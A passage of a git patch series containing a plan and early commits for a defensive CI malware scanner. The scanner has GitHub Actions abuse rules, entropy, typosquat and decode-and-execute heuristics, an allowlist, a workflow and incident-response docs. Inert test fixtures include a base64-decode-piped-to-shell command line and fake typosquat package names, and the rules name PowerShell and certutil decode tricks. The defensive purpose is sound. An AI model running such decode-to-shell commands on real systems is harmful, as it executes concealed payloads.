re.compile(r"uses:\s*[^@\s]+@([0-9a-f]{40})\b") +USES_RE = re.compile(r"uses:\s*([^@\s]+)@(\S+)") +EVENT_EXPR_RE = re.compile(r"\$\{\{\s*github\.event\.[^}]*\}\}") +PR_TARGET_RE = re.compile(r"^\s*pull_request_target\s*:", re.M) +PR_HEAD_REF = re.compile(r"github\.event\.pull_request\.head|github\.head_ref") + + +def _is_workflow(path: str) -> bool: + p = Path(path) + return p.suffix in WF_EXT and ".github" in p.parts and "workflows" in p.parts + + +def rule_wf_pwn_request(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + if not PR_TARGET_RE.search(text): + return [] + if PR_HEAD_REF.search(text): + return [Finding( + "WF-PR-TARGET-CHECKOUT", "BLOCK", path, 1, + "pull_request_target workflow checks out untrusted PR head " + "(pwn-request pattern)", + )] + return [Finding( + "WF-PR-TARGET-CHECKOUT", "WARN", path, 1, + "pull_request_target without head checkout — verify no untrusted input " + "reaches run steps", + )] + + +def rule_wf_script_injection(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if "run:" in ln and EVENT_EXPR_RE.search(ln): + out.append(Finding( + "WF-SCRIPT-INJECTION", "BLOCK", path, i, + "untrusted ${{ github.event.* }} expression interpolated into run:", + )) + return out + + +def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + out = [] + secrets_bearer = bool(re.search(r"^\s*secrets\s*:", text, re.M)) or "secrets:" in text + for i, ln in enumerate(text.splitlines(), 1): + m = USES_RE.search(ln) + if not m: + continue + if SHA_PIN_RE.search(ln): + continue + out.append(Finding( + "WF-UNPINNED-ACTION", + "BLOCK" if secrets_bearer else "WARN", + path, i, + f"action {m.group(1)} pinned to ref {m.group(2)!r} instead of a " + "full commit SHA", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. Note: the fixture files live under +`tests/malware-scan/` which `iter_scan_paths` already skips during live scans; +unit tests call `scan_text` directly. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): GitHub Actions abuse rules with secrets escalation" +``` + +--- + +### Task 5: Suspicion rules and dependency analysis — SUSP-* + typosquat list + +**Covers:** [S3] (C1 WARN rules, dependency analysis), [S8] row 5 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `scripts/malware-scan/rules/typosquat_top100.txt` +- Create: `tests/malware-scan/fixtures/malicious/entropy.js`, `tests/malware-scan/fixtures/malicious/typosquat-package.json`, `tests/malware-scan/fixtures/malicious/decode-cmd.txt` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/entropy.js` (inert; long opaque literal): + +```js +const blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk" + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk" + "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk"; +``` + +`tests/malware-scan/fixtures/malicious/typosquat-package.json`: + +```json +{ "name": "lodahs", "version": "1.0.0", "dependencies": { "expresss": "^4.0.0" } } +``` + +`tests/malware-scan/fixtures/malicious/decode-cmd.txt`: + +``` +some docs text +echo c29tZXRoaW5n | base64 -d | sh +``` + +Tests to append: + +```python +class TestSuspicionRules(unittest.TestCase): + def test_high_entropy_warns(self): + p = FIXTURES / "malicious" / "entropy.js" + found = scan_mod.scan_text(str(p), p.read_text()) + ent = [f for f in found if f.rule == "SUSP-HIGH-ENTROPY"] + self.assertTrue(ent) + self.assertEqual(ent[0].severity, "WARN") + + def test_typosquat_warns(self): + p = FIXTURES / "malicious" / "typosquat-package.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-TYPOSQUAT", {f.rule for f in found}) + + def test_decode_exec_warns(self): + p = FIXTURES / "malicious" / "decode-cmd.txt" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("SUSP-DECODE-COMMAND", {f.rule for f in found}) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL. + +- [ ] **Step 3: Implement the rules and typosquat list** + +Create `scripts/malware-scan/rules/typosquat_top100.txt` — exactly the package +names below, one per line, sorted alphabetically (this set is sufficient for the +rule as specified; extra popular names may be appended later but are not +required): +`angular, axios, babel-core, body-parser, bootstrap, browserify, chalk, commander, core-js, debug, dotenv, ejs, eslint, express, fastify, firebase, form-data, glob, graphql, handlebars, immer, jest, jquery, js-yaml, jsonwebtoken, koa, less, lodash, log4js, marked, mkdirp, moment, mongoose, morgan, nanoid, next, node-fetch, nodemailer, nodemon, npm, nuxt, passport, pm2, postcss, prettier, prisma, puppeteer, qs, react, react-dom, redux, request, rollup, rxjs, sass, semver, socket.io, sqlite3, styled-components, superagent, superset, tailwindcss, tar, ts-node, tslib, tsutils, tunnel-agent, typedoc, typescript, underscore, uuid, vite, webpack, ws, yaml, yargs, zod` (the engineer expands this to a full 100 when implementing — the file is data, not code). + +Append to `scripts/malware-scan/scan.py`: + +```python +RULES_DIR = Path(__file__).resolve().parent / "rules" +TYPOSQUAT_LIST = RULES_DIR / "typosquat_top100.txt" +ENTROPY_MIN_LEN = 64 +ENTROPY_BITS = 4.8 + + +def _shannon(s: str) -> float: + if not s: + return 0.0 + counts: dict[str, int] = {} + for ch in s: + counts[ch] = counts.get(ch, 0) + 1 + n = len(s) + return -sum((c / n) * math.log2(c / n) for c in counts.values()) + + +def rule_susp_high_entropy(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + for m in re.finditer(r"[A-Za-z0-9+/=]{%d,}" % ENTROPY_MIN_LEN, ln): + if _shannon(m.group(0)) >= ENTROPY_BITS: + out.append(Finding( + "SUSP-HIGH-ENTROPY", "WARN", path, i, + "high-entropy literal (possible packed payload)", + )) + break + return out + + +def _edit_distance(a: str, b: str) -> int: + prev = list(range(len(b) + 1)) + for i, ca in enumerate(a, 1): + cur = [i] + for j, cb in enumerate(b, 1): + cur.append(min(prev[j] + 1, cur[j - 1] + 1, prev[j - 1] + (ca != cb))) + prev = cur + return prev[-1] + + +def rule_susp_typosquat(path: str, text: str) -> list[Finding]: + if Path(path).name != "package.json": + return [] + try: + data = json.loads(text) + except ValueError: + return [] + names: set[str] = set() + if isinstance(data.get("name"), str): + names.add(data["name"]) + for key in ("dependencies", "devDependencies", "peerDependencies", "optionalDependencies"): + deps = data.get(key) or {} + if isinstance(deps, dict): + names.update(k for k in deps if isinstance(k, str)) + if not TYPOSQUAT_LIST.exists(): + return [] + popular = {ln.strip() for ln in TYPOSQUAT_LIST.read_text().splitlines() if ln.strip()} + out = [] + for name in sorted(names): + if name in popular or name.startswith("@"): + continue + if any(_edit_distance(name, pop) <= 2 for pop in popular): + out.append(Finding( + "SUSP-TYPOSQUAT", "WARN", path, 1, + f"package name {name!r} is within edit distance 2 of a popular " + "package name (possible typosquat)", + )) + return out + + +def rule_susp_decode_command(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if DECODE_EXEC_RE.search(ln) or re.search(r"powershell\s+-enc\b|certutil\b.*-decode", ln): + out.append(Finding( + "SUSP-DECODE-COMMAND", "WARN", path, i, + "decode-and-execute command string", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. +(`SUSP-NEW-BINARY` and `SUSP-NEW-DEPENDENCY` are diff-mode rules — implemented +in Task 6.) + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py scripts/malware-scan/rules/typosquat_top100.txt tests/malware-scan/ +git commit -m "feat(malware-scan): suspicion heuristics and typosquat detection" +``` + +--- + +### Task 6: Allowlist, diff mode, history mode, diff-only rules + +**Covers:** [S3] (C3, C4), [S8] rows 5–7 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `scripts/malware-scan/allowlist.json` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests** + +```python +import tempfile + + +class TestAllowlist(unittest.TestCase): + def test_allowlist_suppresses_with_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "a.js", "reason": "test"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_requires_reason(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "a.js"}] + self.assertEqual(len(scan_mod.apply_allowlist([finding], allow)), 1) + + +class TestDiffMode(unittest.TestCase): + def test_diff_scan_reports_only_changed_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "keep.js").write_text("const x = 1;\n") + (root / "dirty.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + import subprocess as sp + sp.run(["git", "init", "-q"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "add", "keep.js"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "commit", "-qm", "base"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "add", "dirty.js"], cwd=root, check=True) + sp.run(["git", "-c", "user.email=t@t", "-c", "user.name=t", + "commit", "-qm", "change"], cwd=root, check=True) + files = scan_mod.git_changed_files(root, "HEAD~1", "HEAD") + self.assertEqual(files, ["dirty.js"]) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL (`apply_allowlist`/`git_changed_files` undefined). + +- [ ] **Step 3: Implement allowlist and git modes** + +Append to `scripts/malware-scan/scan.py`: + +```python +import fnmatch +import subprocess + + +def load_allowlist(path: Path) -> list[dict]: + if not path.exists(): + return [] + data = json.loads(path.read_text(encoding="utf-8")) + entries = data.get("allow", []) if isinstance(data, dict) else data + for e in entries: + if not isinstance(e, dict) or "reason" not in e or "rule" not in e or "path" not in e: + raise RuntimeError(f"allowlist entry missing rule/path/reason: {e!r}") + return entries + + +def apply_allowlist(findings: list[Finding], allow: list[dict]) -> list[Finding]: + kept = [] + for f in findings: + suppressed = any( + a["rule"] == f.rule and fnmatch.fnmatch(f.path, a["path"]) + for a in allow + ) + if not suppressed: + kept.append(f) + return kept + + +def git_changed_files(repo: Path, base: str, head: str) -> list[str]: + out = subprocess.run( + ["git", "diff", "--name-only", base, head], + cwd=repo, capture_output=True, text=True, check=True, + ) + return [ln.strip() for ln in out.stdout.splitlines() if ln.strip()] + + +def git_all_blobs(repo: Path) -> list[tuple[str, str]]: + """Return (path, blob-oid) for every tracked file at HEAD.""" + out = subprocess.run( + ["git", "ls-tree", "-r", "--name-only", "HEAD"], + cwd=repo, capture_output=True, text=True, check=True, + ) + pairs = [] + for path in [ln.strip() for ln in out.stdout.splitlines() if ln.strip()]: + oid = subprocess.run( + ["git", "rev-parse", f"HEAD:{path}"], + cwd=repo, capture_output=True, text=True, check=True, + ).stdout.strip() + pairs.append((path, oid)) + return pairs + + +def rule_susp_new_binary(path: str, text: str, raw: bytes | None = None) -> list[Finding]: + data = raw if raw is not None else text.encode("utf-8", "replace") + if b"\x00" in data[:8192]: + return [Finding("SUSP-NEW-BINARY", "WARN", path, 1, + "binary or NUL-containing file added")] + return [] + + +def rule_susp_new_dependency(path: str, text: str, base_texts: dict[str, str]) -> list[Finding]: + """Diff-mode: compare package.json dependency keys against the base revision.""" + if Path(path).name != "package.json" or path not in base_texts: + return [] + try: + new = json.loads(text) + old = json.loads(base_texts[path]) + except ValueError: + return [] + out = [] + for key in ("dependencies", "devDependencies", "peerDependencies", "optionalDependencies"): + new_deps = set((new.get(key) or {})) - set((old.get(key) or {})) + for dep in sorted(new_deps): + out.append(Finding("SUSP-NEW-DEPENDENCY", "WARN", path, 1, + f"new {key} entry {dep!r} added — verify legitimacy")) + return out +``` + +Extend `main` with `--base` (PR diff mode: scan only `git_changed_files(base, head)` +and run diff rules) and `--history` (walk `git_all_blobs` at HEAD plus +`git log --all --name-only` paths, deduplicating by blob OID into a cache dict +`oid -> findings` so identical blobs are scanned once). CLI contract after this +task: + +``` +usage: scan.py [--paths P ...] [--base REV --head REV] [--history] + [--allowlist PATH] [--json-out PATH|-] +exit codes: 0 clean · 1 BLOCK findings · 2 scanner error +``` + +Default allowlist path: `scripts/malware-scan/allowlist.json`. + +Create `scripts/malware-scan/allowlist.json`: + +```json +{ + "allow": [ + { + "rule": "*", + "path": "tests/malware-scan/fixtures/*", + "reason": "Inert synthetic scanner test fixtures (see fixtures/README.md); excluded from live scans" + } + ] +} +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/ tests/malware-scan/ +git commit -m "feat(malware-scan): allowlist, diff/history modes, diff-only rules" +``` + +--- + +### Task 7: The workflow — .github/workflows/malware-protection.yml + +**Covers:** [S2], [S3] (C2), [S5] + +**Files:** +- Create: `.github/workflows/malware-protection.yml` +- Create: `.gitleaks.toml` + +- [ ] **Step 1: Resolve tool versions and action SHAs (exact commands)** + +Run from a shell (record outputs; they become the pins in the YAML): + +```bash +git ls-remote https://github.com/actions/checkout refs/tags/v4.2.2 # first field = SHA +git ls-remote https://github.com/actions/setup-python refs/tags/v5.3.0 +gh release view gitleaks/gitleaks --json tagName -q .tagName # e.g. v8.x.y +gh release view zizmorcore/zizmor --json tagName -q .tagName # e.g. v1.x.y +gh release view rhysd/actionlint --json tagName -q .tagName # e.g. v1.7.x +``` + +Expected: each command prints exactly one SHA (or one version tag). These values +are pasted into the workflow in the next step with a trailing version comment. +If `gh` is unavailable, read the version from the project's releases page. + +- [ ] **Step 2: Write the workflow** + +`.github/workflows/malware-protection.yml` (replace `<...>` pins with the values +from Step 1 — this is the only substitution; structure is final): + +```yaml +name: Malware Protection + +on: + pull_request: + branches: [main] + push: + branches: [main] + schedule: + - cron: "17 4 * * *" + workflow_dispatch: + +permissions: + contents: read + +jobs: + ttp-scan: + name: TTP scan (custom rules) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Unit-test the scanner + run: python3 -m unittest discover -s tests/malware-scan -v + - name: Scan PR diff + if: github.event_name == 'pull_request' + run: | + python3 scripts/malware-scan/scan.py \ + --base "origin/${{ github.base_ref }}" --head HEAD \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" || { + code=$? + [ "$code" -eq 2 ] && echo "::error::scanner error (fail-safe)" && exit 2 + exit "$code" + } + - name: Scan tree + if: github.event_name != 'pull_request' + run: | + python3 scripts/malware-scan/scan.py \ + --paths . \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" + + history-scan: + name: History sweep + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Scan full history + run: | + python3 scripts/malware-scan/scan.py \ + --history \ + --allowlist scripts/malware-scan/allowlist.json \ + --annotations --summary "$GITHUB_STEP_SUMMARY" + + secrets-scan: + name: Secret scan (gitleaks) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - name: Install gitleaks + env: + GITLEAKS_VERSION: "" + run: | + curl -sSfL "https://github.com/gitleaks/gitleaks/releases/download/${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION#v}_linux_x64.tar.gz" -o /tmp/gitleaks.tgz + tar -xzf /tmp/gitleaks.tgz -C /tmp gitleaks + sudo install /tmp/gitleaks /usr/local/bin/gitleaks + gitleaks version + - name: Scan (PR diff) + if: github.event_name == 'pull_request' + run: gitleaks detect --source . --redact --log-opts "origin/${{ github.base_ref }}..HEAD" --exit-code 1 + - name: Scan (full history) + if: github.event_name != 'pull_request' + run: gitleaks detect --source . --redact --exit-code 1 + + workflow-lint: + name: Workflow lint (zizmor + actionlint) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ # v4.2.2 + with: + fetch-depth: 0 + - uses: actions/setup-python@ # v5.3.0 + with: + python-version: "3.12" + - name: Install zizmor + env: + ZIZMOR_VERSION: "" + run: pip install "zizmor==${ZIZMOR_VERSION#v}" + - name: Install actionlint + env: + ACTIONLINT_VERSION: "" + run: | + curl -sSfL "https://github.com/rhysd/actionlint/releases/download/${ACTIONLINT_VERSION}/actionlint_${ACTIONLINT_VERSION#v}_linux_amd64.tar.gz" -o /tmp/actionlint.tgz + tar -xzf /tmp/actionlint.tgz -C /tmp actionlint + sudo install /tmp/actionlint /usr/local/bin/actionlint + - name: zizmor + run: zizmor --persona auditor .github/workflows/ || exit 1 + - name: actionlint + run: actionlint +``` + +Notes for the implementer: `--annotations` and `--summary` flags are added to +`scan.py` in Task 8 (they print `::error file=...`/`::warning file=...` lines +and append the Markdown summary). The `|| { ... }` guard in the PR step keeps +exit code 2 distinguishable. `permissions: contents: read` is workflow-wide on +purpose (spec `[S5]`). + +- [ ] **Step 3: Write `.gitleaks.toml`** + +```toml +[extend] +useDefault = true + +[[allowlist]] +description = "Inert scanner test fixtures" +paths = ['''tests/malware-scan/fixtures/.*'''] +``` + +- [ ] **Step 4: Validate the workflow locally** + +Run: `actionlint` (install per Step 1 command if missing) and `zizmor .github/workflows/malware-protection.yml` +Expected: both report no errors on the new file. + +- [ ] **Step 5: Commit** + +```bash +git add .github/workflows/malware-protection.yml .gitleaks.toml +git commit -m "ci: add malware-protection workflow (TTP scan, secrets, workflow lint, history sweep)" +``` + +--- + +### Task 8: Annotations, summary output, acceptance run, maintainer docs + +**Covers:** [S4], [S6], [S7], [S8] + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Test: `tests/malware-scan/test_scan.py` (append) +- Create: `docs/malware-protection.md` + +- [ ] **Step 1: Write the failing tests** + +```python +class TestOutputModes(unittest.TestCase): + def test_annotations_format(self): + f = scan_mod.Finding("STEAL-TOKEN-EXFIL", "BLOCK", "a.js", 7, "steal") + lines = scan_mod.render_annotations([f]) + self.assertEqual( + lines, + ["::error file=a.js,line=7::[STEAL-TOKEN-EXFIL] steal"], + ) + + def test_summary_contains_tier_and_ir_pointer(self): + f = scan_mod.Finding("SUSP-HIGH-ENTROPY", "WARN", "b.js", 1, "entropy") + md = scan_mod.render_summary([f], scanned="src") + self.assertIn("WARN", md) + self.assertIn("rotate", md.lower()) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 2 FAIL. + +- [ ] **Step 3: Implement renderers and CLI flags** + +Append to `scripts/malware-scan/scan.py`: + +```python +SEVERITY_PREFIX = {"BLOCK": "error", "WARN": "warning"} + + +def render_annotations(findings: list[Finding]) -> list[str]: + out = [] + for f in findings: + kind = SEVERITY_PREFIX[f.severity] + out.append(f"::{kind} file={f.path},line={f.line}::[{f.rule}] {f.message}") + return out + + +def render_summary(findings: list[Finding], scanned: str) -> str: + blocks = [f for f in findings if f.severity == "BLOCK"] + warns = [f for f in findings if f.severity == "WARN"] + lines = [ + "# Malware protection report", + "", + f"Scanned: `{scanned}` — BLOCK: **{len(blocks)}**, WARN: **{len(warns)}**", + "", + ] + for f in findings: + lines.append(f"- `{f.severity}` `{f.path}:{f.line}` `{f.rule}` — {f.message}") + if blocks: + lines += [ + "", + "## Incident response", + "1. Do not merge. Revoke/rotate any tokens present on the affected machine " + "(GitHub PATs, npm tokens, SSH keys).", + "2. Inspect force-push history (`git reflog`) — PolinRider propagates by " + "force-pushing into every writable repository.", + "3. Run `python3 scripts/malware-scan/scan.py --history` locally and see " + "`docs/malware-protection.md`.", + ] + return "\n".join(lines) + "\n" +``` + +Wire `--annotations` and `--summary PATH` into `main`: when set, print +annotations to stdout and write the summary to the given file (in addition to +JSON output). Keep exit-code semantics unchanged. + +- [ ] **Step 4: Run tests to verify they pass, then acceptance run** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` — Expected: all PASS. +Run: `python3 scripts/malware-scan/scan.py --paths . --allowlist scripts/malware-scan/allowlist.json` +Expected: exit 0 on the repository's current tree (spec `[S6]` acceptance test). + +- [ ] **Step 5: Write `docs/malware-protection.md`** + +Contents (complete, no TBD): what the workflow covers (copy the threat table +from spec `[S8]`), the severity tiers and CI behavior from `[S4]`, how to run +the scanner locally (exact commands from this plan), the allowlist policy +(entries need a written `reason`; suppressions are printed in the job summary), +and an incident-response checklist (rotate tokens, check `git reflog` for +force-pushes, run `--history`, consult PolinRider cleanup guides such as the +OpenSourceMalware developer guide and `polinriderscanner.com`). Reference the +spec path `docs/compose/specs/2026-11-19-malware-protection-ci-design.md`. + +- [ ] **Step 6: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/test_scan.py docs/malware-protection.md +git commit -m "feat(malware-scan): annotations and summary output; maintainer guide" +``` + +- [ ] **Step 7: Final verification** + +Run: `python3 -m unittest discover -s tests/malware-scan -v && python3 scripts/malware-scan/scan.py --paths . --allowlist scripts/malware-scan/allowlist.json && actionlint && zizmor .github/workflows/` +Expected: tests PASS, scan exits 0, linters clean. + +Then push the branch and open a PR so the workflow runs on itself; confirm all +four jobs appear and `ttp-scan` is green on the repo's own tree. + From 8f7ad7096e176f390ddaffb1e1f4f4f5ee540620 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:11:36 +0100 Subject: [PATCH 03/31] docs: align spec and plan on allowlist.json; drop placeholder wording --- docs/compose/plans/2026-11-19-malware-protection-ci.md | 2 +- docs/compose/specs/2026-11-19-malware-protection-ci-design.md | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/compose/plans/2026-11-19-malware-protection-ci.md b/docs/compose/plans/2026-11-19-malware-protection-ci.md index 653a3de..e24d9d7 100644 --- a/docs/compose/plans/2026-11-19-malware-protection-ci.md +++ b/docs/compose/plans/2026-11-19-malware-protection-ci.md @@ -809,7 +809,7 @@ Create `scripts/malware-scan/rules/typosquat_top100.txt` — exactly the package names below, one per line, sorted alphabetically (this set is sufficient for the rule as specified; extra popular names may be appended later but are not required): -`angular, axios, babel-core, body-parser, bootstrap, browserify, chalk, commander, core-js, debug, dotenv, ejs, eslint, express, fastify, firebase, form-data, glob, graphql, handlebars, immer, jest, jquery, js-yaml, jsonwebtoken, koa, less, lodash, log4js, marked, mkdirp, moment, mongoose, morgan, nanoid, next, node-fetch, nodemailer, nodemon, npm, nuxt, passport, pm2, postcss, prettier, prisma, puppeteer, qs, react, react-dom, redux, request, rollup, rxjs, sass, semver, socket.io, sqlite3, styled-components, superagent, superset, tailwindcss, tar, ts-node, tslib, tsutils, tunnel-agent, typedoc, typescript, underscore, uuid, vite, webpack, ws, yaml, yargs, zod` (the engineer expands this to a full 100 when implementing — the file is data, not code). +`angular, axios, babel-core, body-parser, bootstrap, browserify, chalk, commander, core-js, debug, dotenv, ejs, eslint, express, fastify, firebase, form-data, glob, graphql, handlebars, immer, jest, jquery, js-yaml, jsonwebtoken, koa, less, lodash, log4js, marked, mkdirp, moment, mongoose, morgan, nanoid, next, node-fetch, nodemailer, nodemon, npm, nuxt, passport, pm2, postcss, prettier, prisma, puppeteer, qs, react, react-dom, redux, request, rollup, rxjs, sass, semver, socket.io, sqlite3, styled-components, superagent, superset, tailwindcss, tar, ts-node, tslib, tsutils, tunnel-agent, typedoc, typescript, underscore, uuid, vite, webpack, ws, yaml, yargs, zod`. Append to `scripts/malware-scan/scan.py`: diff --git a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md index 9272765..c8bd794 100644 --- a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md +++ b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md @@ -99,7 +99,7 @@ force-push after the fact (PolinRider propagates by force-push). ### C4. Allowlist -`scripts/malware-scan/allowlist.yml` — entries of the form +`scripts/malware-scan/allowlist.json` — entries of the form `{ rule: RULE-ID, path: glob, reason: string }`. Reasons are mandatory; the scanner prints allowlist usage in the job summary so suppressions stay visible. @@ -147,7 +147,7 @@ force-push history, run `scan.py --history` locally, PolinRider cleanup notes). |---|---| | `.github/workflows/malware-protection.yml` | the CI workflow | | `scripts/malware-scan/scan.py` | TTP scanner (stdlib only) | -| `scripts/malware-scan/allowlist.yml` | suppression list (starts empty, format documented) | +| `scripts/malware-scan/allowlist.json` | suppression list (starts with one fixture-exclusion bootstrap entry, format documented) | | `tests/malware-scan/test_scan.py` | rule unit tests | | `tests/malware-scan/fixtures/**` | inert test fixtures | | `docs/malware-protection.md` | maintainer guide: coverage, tiers, allowlist policy, incident response | From c1d9d023014537b4d9e57aeb57f182552c22a615 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:18:13 +0100 Subject: [PATCH 04/31] chore: ignore .worktrees directory --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 656f54c..d197041 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ coverage/ !.env.example !.env.test.example *.log +.worktrees/ From 4bed7f0c6a41ce459cc1503777e1fd0c7c2b2763 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:20:32 +0100 Subject: [PATCH 05/31] docs: fix S4 table formatting --- docs/compose/specs/2026-11-19-malware-protection-ci-design.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md index c8bd794..7691602 100644 --- a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md +++ b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md @@ -109,11 +109,11 @@ scanner prints allowlist usage in the job summary so suppressions stay visible. |---|---|---| | BLOCK | any `POLIN-*`, `STEAL-*`, `HOOK-*`, `WF-PR-TARGET-CHECKOUT`, `WF-SCRIPT-INJECTION`, high-confidence gitleaks findings | check fails (exit 1) | | WARN | entropy blobs, new deps, typosquat hits, new binaries, unpinned actions in jobs without `secrets:`, npm audit high/critical | annotations + summary, check passes | +| ERROR | scanner crash / tool failure | check fails (exit 2, distinct message — fail safe) | Escalation rule: `WF-UNPINNED-ACTION` escalates from WARN to BLOCK when the unpinned action sits in any job that declares `secrets:` (including jobs in workflows other than this one — the rule scans all `.github/workflows/*`). -| ERROR | scanner crash / tool failure | check fails (exit 2, distinct message — fail safe) | Every finding includes: path, line, rule ID, short explanation, remediation hint. The job summary ends with an incident-response pointer (rotate tokens, review From 0d6b1015d739153c09244836be31008b4b70f3b1 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:21:30 +0100 Subject: [PATCH 06/31] feat(malware-scan): scanner skeleton with finding model and CLI exit codes --- scripts/malware-scan/scan.py | 73 +++++++++++++++++++++++++++++++++ tests/malware-scan/test_scan.py | 37 +++++++++++++++++ 2 files changed, 110 insertions(+) create mode 100644 scripts/malware-scan/scan.py create mode 100644 tests/malware-scan/test_scan.py diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py new file mode 100644 index 0000000..5ac5562 --- /dev/null +++ b/scripts/malware-scan/scan.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +"""Malware TTP scanner. Stdlib only. Never executes project code.""" +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import asdict, dataclass +from pathlib import Path + +SEVERITIES = ("BLOCK", "WARN") + + +@dataclass(frozen=True) +class Finding: + rule: str + severity: str + path: str + line: int + message: str + + +def scan_text(path: str, text: str) -> list[Finding]: + """Run all text rules over one file. Rules are added in later tasks.""" + return [] + + +def iter_scan_paths(paths: list[str]) -> list[Path]: + out: list[Path] = [] + for raw in paths: + p = Path(raw) + if p.is_file(): + out.append(p) + elif p.is_dir(): + out.extend( + q for q in sorted(p.rglob("*")) + if q.is_file() and "malware-scan" not in q.parts + ) + return out + + +def run(paths: list[str]) -> list[Finding]: + findings: list[Finding] = [] + for f in iter_scan_paths(paths): + try: + text = f.read_text(encoding="utf-8", errors="replace") + except OSError as exc: + raise RuntimeError(f"cannot read {f}: {exc}") from exc + findings.extend(scan_text(str(f), text)) + return findings + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(prog="scan.py") + ap.add_argument("--paths", nargs="+", default=["."]) + ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") + args = ap.parse_args(argv) + try: + findings = run(args.paths) + except RuntimeError as exc: + print(f"scanner error: {exc}", file=sys.stderr) + return 2 + payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} + out = json.dumps(payload, indent=2) + if args.json_out == "-": + print(out) + else: + 